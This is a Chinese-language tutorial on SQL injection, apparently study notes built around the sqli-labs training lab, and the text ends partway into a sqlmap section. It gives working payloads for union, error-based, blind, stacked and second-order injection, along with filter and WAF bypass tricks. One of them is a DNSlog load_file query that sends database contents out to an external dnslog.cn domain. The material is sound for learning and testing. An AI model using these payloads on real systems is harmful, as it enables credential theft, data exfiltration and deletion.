SQL注入全详解

前言

我们下面进行第一个漏洞——SQL注入的学习,SQL注入是十大漏洞之一,较为常见,算是Web安全必学漏洞。我们之前一直都以CTFHub为主线进行学习,但由于SQL注入细节较多,CTFHub的题目并不能深入学习。为探讨清楚SQL注入的诸多细节,我们特以经典的sqli-labs为支线进行从入门到进阶的强化训练

本文是经由sqli-labs训练总结而来,配合作者的sqli-labs通关全详解食用更佳(怎么可以光学习不训练呢)

作者的通关文章:sqli-labs通关全详解-CSDN博客

SQL基础知识

这里先列出SQL注入的参考课程(都取自B站大学,“SQL基础知识”这一模块的图片都取自于以下课程):

SQL的核心基础语法 | 快速入门MySQL_哔哩哔哩_bilibili

【网络安全】2022b站最详细的sql注入 从入门到进阶_哔哩哔哩_bilibili

1.2-SQL注入基础-数据库介绍_哔哩哔哩_bilibili

(注:第二和第三个课程互相补全,建议先看完第二个视频,然后在第三个视频里找后续内容)

Web与mysql数据库

Web结构:前端、后端、数据库(也有可能前后端不分离)

sql注入发生在与数据库交互时(下图中写有SQL的那一步)

MySQL层次(由大到小):服务器、数据库、表格、表字段(列名)、用户数据

下面我们提到一个sql注入必需要学会的的一个数据库,也就是MySQL自带的系统库,里面存储了服务器内所有库的信息。

mysql系统库信息(见下图):

1、information_schema 库(必学,下面三个表都要搞透澈

          SCHEMATA 表

          TABLES 表

          COLUMNS 表

2、mysql 库(仅了解

3、performance_schema 库(仅了解

4、sys 库(仅了解

MySQL基础语法

(不用很精通,会增删查改即可,sql注入会有一些特殊学习的语法,都已列在下文“注入语法详解“模块

-- 增 

-- 创建一个名为 'test' 的数据库
CREATE DATABASE test;
-- 切换到 'test' 数据库
USE test;
-- 创建一个名为 'apple' 的表
CREATE TABLE apple (
    id INT PRIMARY KEY AUTO_INCREMENT,  -- 自增的主键字段 'id'
    kind VARCHAR(10) NOT NULL,          -- 存储苹果种类的字段 'kind'
    soldtime DATE                       -- 存储销售时间的字段 'soldtime'
);

-- 改

-- 向 'apple' 表插入一条记录,包含 'id', 'kind' 和 'soldtime' 字段
INSERT INTO test.apple (id, kind, soldtime)
VALUES (1, '将军苹果', '2024-10-1');
-- 在 'apple' 表中添加一个新的字段 'num'
ALTER TABLE test.apple 
ADD num INT NOT NULL;                   -- 'num' 字段用于存储数量,不允许为 NULL
-- 更新 'apple' 表中 id 为 1 的记录,将 'num' 字段的值设置为 12
UPDATE test.apple
SET num = 12
WHERE id = 1;

-- 删 

-- 从 'apple' 表中删除 id 为 1 的记录
DELETE FROM test.apple
WHERE id = 1; 
-- 删除 'apple' 表
DROP TABLE test.apple;
-- 删除 'test' 数据库
DROP DATABASE test;

-- 查 

-- 获取当前的日期和时间
SELECT NOW();
-- 获取当前使用的数据库名称
SELECT DATABASE();
-- 获取当前 MySQL 服务器的版本
SELECT VERSION();
-- 获取当前连接用户的信息
SELECT USER();
-- 获取 MySQL 数据目录的路径
SELECT @@datadir;
-- 获取 MySQL 安装路径的基础目录
SELECT @@basedir;
-- 获取 MySQL 编译时的操作系统信息
SELECT @@version_compile_os;
-- 切换到 'mysql' 数据库(系统数据库)
USE mysql;
-- 显示当前数据库中的所有表
SHOW TABLES;
-- 显示所有数据库
SHOW DATABASES;
-- 从信息架构中选择所有模式(数据库)名称
SELECT schema_name FROM information_schema.SCHEMATA;
-- 查询信息架构中所有的模式(数据库)
SELECT * FROM information_schema.schemata;
-- 查询信息架构中所有的表
SELECT * FROM information_schema.tables;
-- 查询信息架构中所有的列
SELECT * FROM information_schema.columns;
-- 查询 MySQL 用户表,获取用户信息
SELECT * FROM mysql.user;
-- 查询 'test' 数据库中的所有表名
SELECT table_name FROM information_schema.tables WHERE table_schema='test';
-- 查询 'apple' 表中的所有列名
SELECT column_name FROM information_schema.columns WHERE table_name='apple';
-- 查询 'apple' 表中的所有记录,包括 id, kind, num, soldtime 字段
SELECT id, kind, num, soldtime FROM apple;
-- 查找 'root' 用户在 'LOCALHOST' 下的主机和用户
SELECT HOST, USER FROM mysql.user WHERE user = 'root' AND HOST = 'LOCALHOST';
-- 使用 UNION 查询信息架构中架构名称和目录名称
SELECT HOST, USER FROM mysql.user 
UNION 
SELECT CATALOG_NAME, SCHEMA_NAME FROM information_schema.SCHEMATA;

SQL注入专项知识 

注入常识

一、什么是注入点

实行注入的地方

二、闭合的作用

提交闭合符号,可以结束前一段查询语句,后面就可以加入其他语句,查询需要的参数

三、注释

不需要的语句可以用注释符号'-- ’或‘#’注释掉,利用注释符号暂时将程序段脱离运行(若在url中注入,需要进行URL转义,’-- ’ 转义为 ’--+’ ,’#’ 转义为 ’%23’ )。

简单来说,把某段程序“注释掉”,就是让它暂时不运行(而非删除掉)

四、如何判断是否存在注入漏洞

1、输入单引号

输入单引号,页面报错,You have an error in your SQL syntax; ……(有SQL语法错误)

大概率存在注入漏洞

2、输入双引号

输入双引号,有时用双引号闭合时,输入单引号不会报错,需要输入双引号

3、输入其他闭合符号(形式多样)

根据不同的闭合,判断是否存在注入漏洞的方法也是不一样的,比如有时要输入‘))或者”),这时进行判断需要多次尝试,这个过程往往会和确定闭合符号步骤有一部分重合

注意:凡是与数据库交互的地方,都有可能发生SQL注入。所以我们需要测试的地方包括但不限于:

输入框(包括搜索框、评论框等),

传递的get、post参数(建议直接抓包找),

referer、User-Agent、Cookie等http头传参。

我们必须认真全面的对上面各处进行仔细的测试,借以找到开发及维护人员的疏忽所在

五、注入的分类

1、按照查询字段:

数字型:

当输入的参数为整型则为数字型注入

字符型:

当输入参数为字符串则为字符型注入

2、按照注入方式:

union注入、报错注入、布尔注入、时间注入、堆叠注入等

3、按照请求方式:

常见的有get型注入与post型注入,还有header注入、cookie注入……。

Get型注入直接在URL上直接注入就可以(这就是get传参方式),post型有时可以直接在登录页面注入(注意是登录页面不是URL),但往往需要借助burpsuite、hackbar、postman或sqlmap等工具(具体使用方法见下文)

post型注入、header注入和cookie注入等的应对方法和get型差不多,主要是操作位置有所不同,然后各自有一点点独特的注入技巧

六、怎么判断是数字型注入还是字符型

(实际做题不需要我们刻板的先去判断是什么类型的注入,但我们发现这一步骤却往往是必不可少的,因为这一步实际上是判断闭合方式)

方法一:id=1 and 1=2;若成功则是字符型,失败则是数字型(数字型对比数值,1!=2,报错;字符型用引号将数字、符号等包裹,视为字符串,and不会执行,就不会报错。但并不绝对,这一方法有时也不可靠)

方法二:id=2-1;如果可以运算则是数字型,如果不能运算则为字符型

方法三:id=1‘通过报错信息查看注入类型。输入的内容直接放入数据库里就是数字型注入,此时报错就是多了一个单引号‘ ‘ ’(1已经放入数据库里,我们单引号单独出来,注意报错时外面往往会再套一对单引号用来标注,共三个单引号);但若报错是直接指出了我们整个的输入:1‘,加上数据库里已有的一对单引号和用来标注的一对单引号‘ ’1‘‘ ’,就是字符型注入。

方法四:这里没有报错时确定闭合方式的方法:不断尝试,当发现使用某种闭合时,使下面两种情况都成立,该闭合正确。不加注释无回显(此时常规情况下应该有报错,所以没有回显);加注释后有回显(注释成功代替掉后面的闭合,我们自己加的符号完美补上闭合)

注入语法详解

(用到的时候再来了解一下,不需要先学完再继续)

1、limit分页

limit n,m:从n+1条取m条

eg:limit 8,9:从第9条数据往后取9条数据。

2、count(*)

统计数量,如果结合group by 就是统计分组的数量。

3、合并函数:concat()、concat_ws()、group_concat(arg)

concat()函数

用于将多个字符串拼接到一起。

MySQL的 CONCAT 函数是一个非常实用的字符串函数,用于将两个或多个字符串参数连接成一个单一的字符串。如果任何一个参数为 NULL,则 CONCAT 函数的结果也会是 NULL。这一点在构建包含潜在NULL值的数据库查询时特别重要,因为它可能影响到你的查询结果。

基本语法:CONCAT(string1, string2, ..., stringN)

参数string1, string2, …, stringN:这些是要连接的字符串。你可以连接任意数量的字符串。

concat_ws()

用于将多个字符串拼接到一起,并在其之间插入指定的分隔符。

concat_ws(separator,str1,str2,......)

group_concat(arg) 函数

可以合并多行的某列(或多列)数据为一行,默认以逗号分隔。以及分组函数和统计函数的组合使用

例如select 1,group_concat(username,':',password),3 from users

用于将一组字符串用指定的分隔符连接在一起,通常与group by 子句一起使用,以便在每个分组中连接字符串

group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )

注意:

    通过使用distinct可以排除重复值

    使用order by子句对结果中的值进行排序

    separator 用于指定分隔符 ,如果缺少则默认为 逗号

注意:

       group_concat只有与group by语句同时使用才能产生效果。 所以使用  GROUP_CONCAT() 函数必须对源数据进行分组,否则所有数据会被合并成一行。

4、mysql中相关语句的执行顺序

select

from

where

group by    (具体作用在下一点)

order by     (具体作用在下下一点)

由上可知,group by 比order by先执行,order by不会对group by 内部进行排序,如果group by后只有一条记录,那么order by 将无效。

5、GROUP BY 分组

group by一般用于分组统计,它表达的逻辑就是根据一定的规则,进行分组。

6、order by 排序

ORDER BY 关键字用于对结果集进行「排序」。

ORDER BY 关键字可以按照「索引」进行排序,比如最左边第一列 username 的索引是 1,嘴边第二列 password列的索引是 2,依次类推…比如按照第1列排序(在SQL注入中可以确定列数,即注入点的字段数)

ORDER BY 关键字默认按照「升序」对返回的结果集进行排序。如果需要按照「降序」对记录进行排序,可以使用 DESC 关键字。

7、RAND()和RAND(x)

获取随机数的函数

rand()函数:随机返回0~1间的小数

rand()*2则随机返回0~2的小数

RAND(x)返回一个随机浮点值v,范围在0到1之间(即0≤v≤1.0)。 若已指定一个整数参数x,则它被用作种子值,用来产生重复序列。

注:x与随机浮点值v不同,仅用于产生重复序列

8、floor()函数

小数向下取整数。

floor(rand(0)*2)返回0或1两个数值。

9、substring()与substr()

SELECT substring(123456,1,3);

从第一位开始识别3位数

substr 俗称:字符截取函数

格式1:

substr(string str, int a, int b);

str 需要截取的字符串

      a   截取字符串的开始位置

    (注:当a等于1时,从第一位开始截取;当a等于0时,无截取字符串)

      b   要截取的字符串的长度

格式2:

substr(string str, int a) ;

    str 需要截取的字符串

    a   可以理解为从第a个字符开始截取后面所有的字符串。

10、ASCII()

MySQL ASCII() 函数的语法:

ASCII(character)

参数character:必需的。 要返回 ASCII 值的字符。 如果多余一个字符,它将只返回第一个字符的 ASCII 值。

返回值:MySQL ASCII() 函数返回给定的字符串的第一个字符的 ASCII 值。如果参数 character 为 NULL,它将返回 NULL。

11、if()函数的使用

IF函数根据判断条件是否成立进行选择执行,成立时执行一条语句,不成立时执行另一条语句。

语法结构:IF(condition, value_if_true, value_if_false)

参数说明

condition: 判断条件

value_if_true: 如果condition的结果为TRUE,返回该值

value_if_false: 如果condition的结果为FALSE,返回该值

12、sleep()

sleep(int m);延时m秒

13、LOAD_FILE()函数

在mysql中,load_file()函数读取一个文件并将其内容作为字符串返回。

语法:load_file(file_name),其中file_name是文件的完整路径。

SQL语句为:SELECT LOAD_FILE('文件路径/文件名')

效果如下(注意,文件路径符号必须使用斜线/,不可以使用反斜线\):

手动注入方式及步骤

(只看总结没用,重在实践)

UNION联合查询注入

一、原理

union select 是合并两个或多个表查询的结果集,如果我们将前面的表设为不存在的表,那么查询结果就返回了我们的目标表格的内容。前面的查询语句值可以设为-1等,使其不存在,从而显示union后面我们所需要的内容

二、步骤

先判断有无漏洞,比如输入单引号(见上文)

——>判断是字符型注入还是数字型注入(即判断闭合方式)

——>判断字段数,并且确定各字段在回显的位置,用union select 1,2,3,……尝试,若有四个字段,在union select 1,2,3,4 时会显示成功,让union前的语句是错的,就可以看我们select出来的1,2,3,4分别在回显中的位置

——>在有回显的位置爆表名,例句

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() -- 

——>爆列名(字段名),例句

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- 

——>爆用户数据

union select 1,group_concat(username,':',password),3 from users -- 

报错型注入

一、定义及分类

报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。是一种页面响应形式。报错注入用于有error回显,且能从报错中获得有用信息的情况。

分类(重点掌握前3种,其余了解即可)

  1. 通过floor()报错注入
  2. 通过extractValue()报错注入
  3. 通过updateXml()报错注入
  4. 通过NAME_CONST()报错注入
  5. 通过jion()报错注入
  6. 通过exp()报错注入
  7. 通过geometryCollection()报错注入
  8. 通过polygon()报错注入
  9. 通过multipoint()报错注入
  10. 通过multlinestring()报错注入
  11. 通过multpolygon()报错注入
  12. 通过linestring()报错注入

二、常用的报错注入(前三种重点掌握,剩下的了解即可)

1、通过 floor()报错注入:

SELECT rand();    随机返回0~1间的小数

SELECT rand()*2;    随机返回0~2间的小数

SELECT rand() FROM users;    根据users的行数随机显示结果

SELECT floor(rand()*2) FROM users;    向下取整结果为0或1

在执行group by语句的时候,group by语句后面的字段会被运算两次。

第一次是group by后面的字段和虚拟表进行对比,第二次是插入时会进行运算。

由于rand()函数的随机性,导致第二次运算可能和第一运算结果不一致,运算的结果存在,这时插入就会出错。

其实就是rand()函数进行grand by分组时会多次执行,导致键值key重复

union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+

#用information_schema.tables是因为这个数据库是一定已知存在的且内容多有足够的统计结果

2、通过extractValue()报错注入

extractvalue()函数:

EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串),查询路径

注:查询参数路径写错时,查询不到内容,但不会报错;把查询参数格式符号写错时提示报错信息。

由上可知,当我们特意让查询出语法错误,会显示  

XPATH syntax error : ’~XPath_string的内容’  

我们可以把XPath_string作为注入点,显示出我们想要的信息,如下例

and extractvalue(1,concat(0x7e,(select database())))-- 

(0x7e是~的ASCII码)

然后,爆表名 ->爆列名->爆用户数据

(具体语句请查看sql-labs里的详例)

3、通过updateXml()报错注入

extractvalue是查询,而updatexml是修改。但是用法和extractvalue是一样的。

updatexml函数:

    UPDATEXML

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串) ,不满足Xpath格式的字符串都会产生报错。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

和extractValue()类似,下面有具体例子

and updatexml(1,concat(0x7e,(select database())),'1')--+

然后,爆表名 ->爆列名->爆用户数据

具体语句还是见sqli-labs中具体的例子

4、NAME_CONST()

exists(select * from (select * from(selectname_const(@@version,0)) as a join (select name_const(@@version,0)) as b) as c);

5、 jion()

select * from(select * from mysql.user as a join mysql.user as b)as c;

6、exp()

exp(~(select * from (select user ())as a));

7、geometryCollection()

GeometryCollection(()select *from(select user () )a)b );

8、polygon()

polygon (()select * from(select user ())a)b );

9、multipoint()

multipoint (()select * from(select user() )a)b );

10、multlinestring()

multlinestring (()select * from(selectuser () )a)b );

11、multpolygon()

multpolygon (()select * from(selectuser () )a)b );

12、linestring()

linestring (()select * from(select user() )a)b );

参考文章:

sql注入之报错注入_报错注入函数-CSDN博客

盲注

一、定义及分类

盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。

简单来说,就是回显的内容很少或没有回显(报错也是一种回显),不能通过回显看出有用的东西,就像盲了一样,所以叫盲注

所以我们总结出盲注的使用条件:

页面没有显示位(如果有显示位可以选择union联合查询),并且没有返回sql语句的执行错误信息。

只有在这种条件下我们才用盲注,因为盲注本质上就是不断地尝试,试出来我们想要的信息,所以盲注要发送大量的请求,对服务器占用较大,容易被禁止。盲注一般不被优先考虑,在不同情况下往往考虑有没有特殊方法解决,比如下文的DNS log注入。

分类

  • 基于布尔类型的盲注
  • 基于时间类型的盲注

在符合上文所说的条件下,我们怎么判断用那种类型的盲注呢?

布尔盲注:网页返回的结果只有两种,输入的错误与正确,没有其他有效信息

时间盲注:页面上没有显示位和SQL语句执行的错误信息,正确执行和错误执行的返回界面一样

二、实现过程

从数据库名、表名到字段名,最后到用户数据,两种盲注都是不断重复‘提取数据长度’、‘提取数据内容’这两个步骤,过程非常繁琐,我们往往借助工具,比如sqlmap(使用方法见下文)或burpsuite

1、布尔盲注

以数据库名为例

and length((select database()))=8 -- 

也可以用<或>进行判断(二分法效率更高)

and substr((select database()),1,1)='a' -- 

也可以把substr((select database()),1,1)转换成ASCII码,ASCII(substr((select database()),1,1)),然后对照ASCII码表用数字依次尝试,这样可以更方便的使用二分法

2、时间盲注

以数据库名为例

and if(length(database())=1,sleep(5),1)# 

判断数据库长度如果长度为1就延迟5s,不是就返回1。有兴趣的话可以写一个python爬虫,通过判断响应时间来确定字符,工具的原理大概就是这样。

当然,我们一般用sqlmap,用工具会更方便一点。

但是要是对盲注只会用工具而没有其他办法,也是不行的,自己会写盲注的脚本才能算真的会盲注。作者这里写了一份脚本,小伙伴们可以参考学习一下。

接下来我们再学习一些特殊的注入方式

DNS log注入

一、什么是DNSlog

虽然因特网上的节点都可以用IP地址标识,并且可以通过IP地址被访问,但即使是将32位的二进制IP地址写成4个0~255的十位数形式,也依然太长、太难记。因此,人们发明了域名(Domain Name),域名可将一个IP地址关联到一组有意义的字符上去。用户访问一个网站的时候,既可以输入该网站的IP地址,也可以输入其域名,对访问而言,两者是等价的。例如:微软公司的Web服务器的IP地址是207.46.230.229,其对应的域名是www.microsoft.com,不管用户在浏览器中输入的是207.46.230.229还是www.microsoft.com,都可以访问其Web网站。

简单来说,大家一开始用一串数字(ip地址)来表示网络上各个节点(网站),但这个太难记了,所以又给这些ip地址起了个别名(域名),域名与ip地址所代表的节点是相同的,只不过域名更好记更有意义,不过在使用域名时,需要先把域名转换成ip地址,所以我们引出DNS.

DNS:域名系统(英文:Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用UDP端口53。当前,对于每一级域名长度的限制是63个字符,域名总长度则不能超过253个字符。

简单来说,DNS就是一项将域名解析为ip的服务,这个服务有自己的服务器,各种域名与其对应的ip地址就存储在它的服务器上,用户在浏览器上输入一个域名A.com,就要靠DNS服务器将A.com解析到它的真实ip,这样就可以访问真实ip服务器上的相应服务。

那么DNSlog是什么呢?

log有日志的意思,DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对各种域名的访问信息,类似日志文件,也有点像浏览记录。

为什么要进行dnslog注入呢?

一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度。

Dnslog注入通常用在哪些地方?

SQL注入中的盲注,在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显;无回显的命令执行,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功;无回显的SSRF

那怎么利用DNSlog进行注入呢?得深入了解一下DNSlog

二、DNSlog回显原理

因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等。从右向左为顶级域名、二级域名、三级域名等,用点隔开。如:

tieba.baidu.com

它由三个标号组成, com即为顶级域名,baidu为二级域名,tieba即为三级域名。且域名不分区大小写。

再来看一个图(简单了解一下)

  (重点!!!)域名从右向左解析,用 . 分割级别,低级别的域名要在高级别的域名中去解析,所以当tieba.baidu.com去baidu.com中去解析的时候,就会留下解析记录,通过获取前来解析的低级域名前缀来获取我们需要的信息。

所以我们首先需要一个可以自己配置的域名,比如:ceye.io,然后通过代理商设置域名ceye.io的nameserver为自己的服务器A,然后在服务器A上配置好DNS server,这样以来所有ceye.io及其子域名的查询都会到服务器A上,这时就能够实时地监控域名查询请求了。(当然,这里也可以用免费的记录dnslog的平台来代替这些步骤,比如DNSLog Platform

那么上面说的这些和我们这个DNS log注入有什么关系?DNS在解析的时候会留下记录,然后我们可以读取这个多级域名的解析日志来获取我们所想要的内容。

三、注意要点及踩坑记录

1、dnslog回显只能用于windows系统。sql盲注,后端数据库用的mysql数据库,用dnslog回显只能用于windows系统,原理就是'\\\\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠

为什么DNSlog注入只能用于windows系统。答:load_file()函数在Linux下是无法用来做DNSLog攻击的,因为linux没有UNC这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的。

什么是UNC路径?

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC 代表通用(或一致、统一)命名约定,是一种用于访问计算机网络上的文件夹和文件的语法。

语法如下:

\\<computer name>\<shared directory>\

路径结构可以后跟任意数量的目录,并以目录或文件名终止,例如:

\\pondermatic\public\studyarea.gdb

\\omni\shared_stuff\wednesday\tools

计算机名称的前面始终使用双反斜线 (\\)。

在 UNC 中,计算机名称又称为主机名称。

对于 UNC 路径,存在以下几条规则:

  • UNC 路径不能包含盘符(如 D)。
  • 不能浏览至共享目录的上级目录。
  • 用于文档和工具的存储相对路径名选项对 UNC 路径不起作用。

2、需要用到mysql中的load_file()函数,在Mysql中,load_file()函数读取一个文件并将其内容作为字符串返回。(不绝对,仅仅只是列举了mysql数据库的函数)

通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限

在mysql中运行show variables like '%secure%';查看load_file()可以读取的磁盘。

1)、当secure_file_priv为空,就可以读取磁盘的目录。(上方图片就是这种情况)

2)、当secure_file_priv为G:\,就可以读取G盘的文件。

3)、当secure_file_priv为null,load_file就不能加载文件。

如果secure_file_priv为null,没有权限,不能用load_file()函数,需要修改。

若我们用的phpstudy,点击设置,点击文件位置,找到MySQL版本并点击

找到并点击my.ini文件

找找有没有secure_file_priv 参数,没有就加上  secure_file_priv =。

记住要有=,而且等号后面什么也没有,注意添加位置,添加位置不对没有效果(含泪大坑)。

重启并再次输入show variables like '%secure%'; (记住重启)

secure_file_priv为空而不是NULL,就表示成功了

3、域名解析需要注意:

由于每一级域名的长度只能为63个字符,所以在mysql中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作,所以tbk74h.dnslog.cn

也不会收到解析的记录,所以我们就获取不到想要的信息了

域名里有一个规则,只能出现数字,字母,下划线;所以在获取到的信息中包含了其他特殊符号时,load_file就会认为是一个错误的域名,就不会去从网络中解析了。

如:

当前我的数据库名为security,是以字母开头的,在域名规则内是允许的,所以load_file会向域名进行解析

当我在域名中拼接一个@符号时,就不会进行解析

也就不会有解析记录

我们在使用group_concat合并查询时,会自动使用 "," 连接我们查询到的每值,但是由于 , 在url中是不允许出现的,所以使用group查询到的值去解析时候,mysql就会认为这不是一个url地址,就不会出现解析的操作,所以就没法获取到值,

四、利用过程

接下来我们用DNSLog Platform 生成一个网址qnpqsu.dnslog.cn(点击Get SubDomain)

上面提到了各种与域名解析冲突的情况,尤其是group_concat()函数的逗号问题。

不过事情总是有解决的办法的,通过使用replace,substr等函数,成功绕过了url解析的问题,如:

select load_file(concat('\\\\',(select SUBSTR(replace((group_concat(username )),',','_'),1,63) from users),'.qnpqsu.dnslog.cn/abc'))

通过正则替换将replace中的 “ ,”全部替换为 “ _ ” 这样就可以符合url的解析规则了(但要是username本来就有_,那对我们来说就是麻烦事了),并且我们只需要将查询结果的字符长度控制在63个就可以了,load_file()函数访问的是文件,所以域名后面需要添加/abc,当然/aaa也可以,后面的文件名随便编一个就可以,\\aaa也是可以的,但\aaa不可以。

如图:

上面我们提到username如果本来就有_,那对我们来说又是麻烦事,有人说我们可以不用_,用别的符号,但username也有可能会用别的符号。

不过我们有别的方法。

那就是转换为16进制来避免字符过滤,推荐这种方法,它更全面且不易混淆符号

select LOAD_FILE(CONCAT('\\\\',(SUBSTR(HEX(@@basedir),1,60)),'.DNSlog网址\abc'))

然后再用在线16进制字符串转换工具转换出来,比如在线16进制字符串转换工具 - 在线工具网

参考文献:

DNSlog注入详细解析 - FreeBuf网络安全行业门户

DNSlog注入学习 - Lushun - 博客园

DNSlog注入_<!doctype syscode system "az5go2.dnslog.cn-CSDN博客

DNSlog注入踩坑记录:

DNS log注入 - 简书

二次注入

一、什么是二次注入?

简单的说,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用

可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入。

普通注入

(1)在http后面构造语句,是立即直接生效的

(2)一次注入很容易被扫描工具扫描到

二次注入

(1) 先构造语句(有被转义字符的语句)

(2)我们构造的恶意语句存入数据库

(3)第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数据做检查)

(4)二次注入更加难以被发现

二、二次排序注入思路

1、黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。

2、服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

3、黑客向服务端发送第二个与第一次不相同的请求数据信息。

4、服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。

5、服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

简单来说,就是我们提交了注入语句,比如注册用户(起了用户名,用户名是注入语句),可能是被过滤或特意设置,没发生效果,只是存到了数据库里,当我们在再次用这个语句时,比如更改用户密码(查询用户名),它从数据库里读取出来(这时候开发人员没有过滤注入语句,我们用户名里的注入语句执行了),虽然我们没重新写注入语句,但原来的注入语句在读取时发生效果了,注入最终还是成功了。

堆叠注入

一、什么是堆叠注入?

堆叠用简单通俗的话来解释就是多条命令一起执行,比如在MySQL中我们知道在输入一个命令之后要用;表示一个指令的输入完成,那么我们就想是否可以在一句指令之后用;断开然后再加上一句指令。按照这样多条命令进行注入就是堆叠注入。

二、堆叠注入原理:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。

用户输入:1; DELETE FROM products

服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products

当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。所以堆叠注入更随意,威力更加巨大。

三、局限性:

    并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。

    在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略。

使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等,这个就是为什么我们尝试用 union select 联合查询的原因。

其实从实际来讲,堆叠注入最大的局限就在于它太少见了,由于堆叠注入威力过于巨大,开发者往往不会给用户开放多条语句的权限,从而使堆叠注入根本行不通。

四、利用:

和正常注入基本相同,区别在于可以多写几条语句,能进行删库等操作。

混淆与绕过

普通注入方式过于明显,很容易被检测,因此需要改变攻击手法,绕过检测和过滤,即混淆和绕过。所有的技巧都是分情况的。

一、常见方法

1、变形绕过(等价转换)

URL编码,空格可以用URLcode  %20 来代替。

and变式&&、or变式||。

2、大小写转换绕过

union变为uNion。

但是所有大小写的情况都会被替换咋办?

3、双写绕多(包裹绕过)

UNIunionON。

只适用于服务端做一次处理的情况,处理多次就全过滤了。

用注释/*!*/包裹字符,例如/*!union*/。

4、多个参数绕过

有时候开发人员由于疏忽,只会对第一个参数过滤,我们可以传递多个参数,在后面参数处写注入代码,例

id=1 & id=0' union select 1,2,3--+

5、替换(近似转换)

可代替where的字符:Limit; Having; like

常规代替空格的字符:%09 TAB 键(水平); %0a 新建一行; %0b TAB 键(垂直); %0c 新的一页; %0d return 功能; %a0 空格; /**/ 注释。

有时候union也可以被||替换,相当于条件判断。

替换也常常全被过滤,并不是绝对有效。

注意:

有时候我们需要多种过滤结合运用,如/!UNIunionON/

二、其余绕过方法

宽字节注入原理:

当某字符的大小为一个字节时,称其字符为窄字节;当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,但汉字占两个字节。

宽字节是指一个字符占用两个字节的编码方式。常见的宽字节编码包括GB2312、‌GBK、GB18030、‌BIG5、‌Shift_JIS等。与单字节编码(如ASCII)相比,宽字节编码能够表示更多的字符,特别是中文、日文和韩文等语言中的复杂字符。简单来说,就是用两个字节来表示更多的字符,特别是中文的汉字这么多,用单字节来表示是远远不够的。

    如果使用了类似于 set names gbk 这样的语句,MySQL 在使用 GBK 编码的时候,mysql 数据库就会将 Ascii 大于等于128(比如%df)的字符当作是汉字字符的一部分(当作汉字处理),同时把两个字节认成一个汉字,例如 %aa%5c 就被认作是一个汉字;Ascii小于128还是单字节表示。

    这种情况下如果我们想去掉sql语句中的一个字节,那么我们在想去的字节前加上一个Ascii 大于等于128(%df)的字节就行了。自己加的字节和想去掉的那个字节会被合起来解析成为汉字。或者把库名、表名等转换成16进制,从而省略掉单引号

注入工具

sqlmap

sqlmap使用常用步骤:

get型:

进入sqlmap所在文件夹,在文件路径处输入cmd并回车(在此处打开命令行)。

检测「注入点」

python sqlmap.py -u http://xx/?id=1

查看所有「数据库」

python sqlmap.py -u http://xx/?id=1 --dbs

查看当前使用的数据库

python sqlmap.py -u http://xx/?id=1 --current-db

查看「数据表」

python sqlmap.py -u http://xx/?id=1 -D 数据库名 --tables

查看「字段」

